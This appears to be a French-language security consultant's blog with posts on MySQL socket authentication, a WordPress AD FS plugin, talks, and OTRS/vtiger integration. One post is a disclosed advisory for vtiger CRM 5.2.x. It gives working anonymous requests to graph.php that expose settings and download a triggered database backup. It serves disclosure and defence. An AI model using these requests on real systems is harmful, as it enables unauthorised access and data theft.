François Harvey
Professionnel en sécurité, Développeur et entrepreneur
Professionnel en sécurité, Développeur et entrepreneur
27/01/13
Ce blogue a été migré vers monblogue.net qui est un service d’hébergement de blogue et de site basé sur la plate-forme WordPress et offert par mon entreprise Horizon-Cumulus. Si vous avez des questions sur notre service, n’hésitez pas à me contacter.
10/12/12
Un élément important de la sécurité des base de données est est l’authentification système (réutilisé l’authentification système d’exploitation), cette méthode évite d’avoir des mots de passe en clairs dans les configurations. Cette méthode était facile à implanter sous PHP/IIS/SQL Server, mais était plus problématique à déployer sous plateforme LAMP (Linux / MySQL)
Depuis MySQL 5.5 une nouvelle infrastructure d’authentification modulaire rend possible l’utilisation de nouvelles méthodes d’authentification, notamment l’authentification via socket qui permet une connexion transparente si l’utilisateur système est identique à l’utilisateur MySQL.
- Apache (si possible avec un MPM peruser)
- MySQL 5.5 local
- PHP utilisant les drivers natifs MySQL (MYSQL_MODULE_TYPE = External)
Activer le module dans le serveur MySQL en ajoutant la plugin-load dans la section mysqld
[mysqld] plugin-load=auth_socket=auth_socket.so
Créer votre compte mysql et assigné les permissions sur la base désirée
CREATE USER 'apache'@'localhost' IDENTIFIED WITH auth_socket; GRANT SELECT,INSERT,UPDATE,DELETE ON mon_schema.* TO apache;
Normalement, chaque pool d’application devrait fonctionner avec son propre GUI (soit via php-fpm, ou l’utilisation du MPM ITK) donc apache devrait rouler avec un UID différent. Donc, votre application à besoin d’identifier son nom d’utilisateur, et par la suite de se connecter à la base de données.
$username = exec('whoami);
$db = new PDO('mysql:unix_socket=/var/lib/mysql/mysql.sock', $username, '' ,array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
$db->exec('USE mon_schema');
Et le tout sans mot de passe, cette méthode fonctionne aussi bien en console via php-cli ou via d’autres environnement comme nginx.
27/11/12
Hi,
Both SSO and Identity Management on cloud is a big topic.
We love WordPress and many of our WebApp or websites are done using WordPress as a backend, but currently Authentification with Microsoft AD FS was not supported. As we do more and more cloud migration to replace on premise software, classic authentification as LDAP or Active Directory, dont scale very well in cloud.
We decided to fill this gap and create an AD FS WordPress Authentification plugin. Currently this plugin is Alpha and replace built-in authentification, so be cautious. You must have a working AD FS Server, use SSL, add a trust for the wordpress site, publish SAM-AccountName and Email Adress, and the username must match between your Active Directory.
You may download it on share-my-files.com (our cloud file storage) at
https://medsecure.partager-mes-fichiers.com/key/1e74b4557241547073bcfad1820efb1f
Happy SSO! More information will follow when a official plugin release is done.
27/11/12
J’aurais l’occasion de faire une présentation, le 30 novembre 2012 à l’agence de Montréal, sur la sécurité de l’information notamment sur les attaquants et les nouvelles tendances en matière de mitigation (réseau, développement, gestion des identités et cloud). J’espère vous y voir en grand nombre !
Il est probable que j’actualise cet article en plaçant en ligne ma présentation à la suite de cette présentation.
25/12/11
Hi,
Here a old vulnerability submitted to vTiger Team last summer. As the 5.3 release was released some week ago, I can now publish this advisory.
Advisory: MEDS-2011-01 - VTigerCRM Anonymous access to Setting Module using graph.php Release Date: 2011-05-08 Author: Francois Harvey, gestion medsecure (francois.harvey at medsecure dot ca) - http://medsecure.ca Application: Vtiger CRM 5.2.x, 5.1.x Severity: High Risk: High Vendor Status: notified fixed in 5.3 OVERVIEW "vtiger CRM is a free, full-featured, 100% Open Source CRM software ideal for small and medium businesses, with low-cost product support available to production users that need reliable support." VULNERABILITY Some module (Many in Setting, but also Portal) from vtiger CRM don't verify the user access level and may be called in anonymous mode using the graph.php script. This vulnerability can be used to view or modify some configurations setting (organisation name, templates, backup). EXPLOIT # Show Organization information http://x.x.x.x/vtigercrm/graph.php?module=Settings&action=OrganizationConfig&parenttab=Settings # Launching Backup and get the backup file (if enabled) 1) Start a Backup POST /vtigercrm/graph.php server_type=local_backup&module=Settings&action=BackupServerConfig&local_server_mode=&parenttab=Settings&enable_local_backup=on&backupnow=Backup+Now 2) Find the backup name in the output Backed Up Successfully To File : ./backups/Vtiger-dd May 2011 hh_mm_ss GMT.zip 3) Get the Dumpfile GET /vtigercrm/backups/Vtiger-dd May 2011 hh_mm_ss GMT.zip FIX Upgrade to 5.3.x AUTHOR François Harvey - CISM/CISSP/TCSE Professionnel en sécurité de l'information Gestion medsecure medsecure.ca - francoisharvey.ca
20/08/11
Durant l’été, j’ai eu l’occasion de faire deux présentations aux étudiants de l’UQTR sur les audits de sécurité des systèmes d’information, l’objectif était de discuter des processus d’audit en situation réelle à travers trois études de cas. Malgré que l’essentiel de la présentation était verbal, j’avais créé une présentation sommaire comme référence. La voici à titre indicatif. Bonne lecture!
Présentation audits de sécurité
21/06/11
C’est avec plaisir que vous pouvez maintenant consulter mon article « Rehausser sa sécurité informatique en 10 étapes » paru dans la revue Via Bitume du mois de Juin.
Pour une entreprise, il est important de protéger ses données. Malheureusement pour plusieurs entreprises, un incident informatique est nécessaire avant de rehausser leur sécurité. Pourtant, les informations telles que les plans, propriétés intellectuelles, correspondances d’affaires et la comptabilité sont nécessaires au bon fonctionnement de l’entreprise. La sécurité de l’information consiste à garantir la confidentialité, l’intégrité et la disponibilité de ces données. Par où une entreprise doit-elle commencer? Voici dix éléments importants qui vous permettront d’avoir une sécurité à toute épreuve!
26/04/11
Lors de nos déploiements en téléphonie IP, nous offrons à nos clients un aide mémoire concernant l’utilisation de la messagerie vocale. Nous avons décidé de rendre publique une version générale de ce guide en format PDF. Pour l’instant, cet aide-mémoire n’est disponible qu’en français, si certains d’entre-vous sont intéressé par une version anglaise, il nous fera plaisir d’en faire une traduction et de le rendre disponible en ligne.
Modele – Guide Utilisateur Téléphonie IP
Nous espérons que ce guide vous sera utile et n’hésitez pas à me faire part de vos commentaires.
15/02/11
J’ai décidé de me joindre à l’équipe de développement du logiciel libre XODA. C’est un logiciel simple permettant la gestion l’accès à des documents en lignes. La version 0.3.0 devrait sortir sous peu, plusieurs options additionnels est une sécurité accrue.
3/01/11
OTRS est le helpdesk que nous utilisons chez Gestion medsécure, il est libre, très personnalisable. Il permet notamment d’avoir plusieurs sources de données de contact et comme l’essentiel de nos contacts se retrouvent dans vtiger CRM, comme il existe peu d’information sur l’intégration entre les deux solutions, j’ai décidé de faire quelques billets sur l’intégration entre les deux produits.
Donc, voici le premier: Comment utiliser les informations contacts de vtiger dans OTRS (Cette solution fonctionne sans vue, par contre l’informations n’est pas complète, une vue doit être créer pour avoir l’ensemble des informations clients, mais ça fera l’objet d’un billet futur). Cette déclaration de CustomerUser doit se retrouver dans votre configuration OTRS et les variables DB_VTIGER, SERVEUR_VTIGER, VTIGER_USER_RO et VTIGER_PASSWD_RO doivent être adaptés en fonction de votre environnement.
$Self->{CustomerUser} = {
Name => 'VTiger CRM',
Module => 'Kernel::System::CustomerUser::DB',
Params => {
DSN => 'DBI:mysql:database=DB_VTIGER;host=SERVEUR_VTIGER',
User => 'VTIGER_USER_RO',
Password => 'VTIGER_PASSWD_RO',
Table => 'vtiger_contactdetails',
CaseSensitive => 0,
},
CustomerKey => 'email',
CustomerID => 'accountid',
CustomerUserListFields => [ 'firstname', 'lastname', 'email' ],
CustomerUserSearchFields => [ 'firstname', 'lastname', 'email'],
CustomerUserSearchPrefix => '*',
CustomerUserSearchSuffix => '*',
CustomerUserSearchListLimit => 250,
CustomerUserPostMasterSearchFields => ['email'],
CustomerUserNameFields => [ 'title', 'firstname', 'lastname' ],
CustomerUserEmailUniqCheck => 1,
CustomerUserExcludePrimaryCustomerID => 0,
CustomerCompanySupport => 1,
ReadOnly => 1,
Map => [
Map => [
[ 'UserTitle', 'Title', 'title', 1, 0, 'var', '', 0 ],
[ 'UserFirstname', 'Firstname', 'firstname', 1, 1, 'var', '', 0 ],
[ 'UserLastname', 'Lastname', 'lastname', 1, 1, 'var', '', 0 ],
[ 'UserLogin', 'Username', 'email', 1, 1, 'var', '', 0 ],
[ 'UserEmail', 'Email', 'email', 1, 1, 'var', '$Env{"CGIHandle"}?Action=AgentTicketCompose&ResponseID=1&TicketID=$Data{"TicketID"}&ArticleID=$Data{"ArticleID"}', 0 ],
[ 'UserCustomerID', 'CustomerID', 'accountid', 0, 1, 'var', '', 0 ],
[ 'UserCompanyID', 'CompanyID', 'accountid', 0, 1, 'var', '', 0 ],
[ 'UserPhone', 'Phone', 'phone', 1, 0, 'var', '', 0 ],
[ 'UserFax', 'Fax', 'fax', 1, 0, 'var', '', 0 ],
[ 'UserMobile', 'Mobile', 'mobile', 1, 0, 'var', '', 0 ],
],
},
};
Maintenant les informations de vtiger devrait s’afficher dans les champs clients lors de la réception d’une nouvelle demande.
Commentaires récents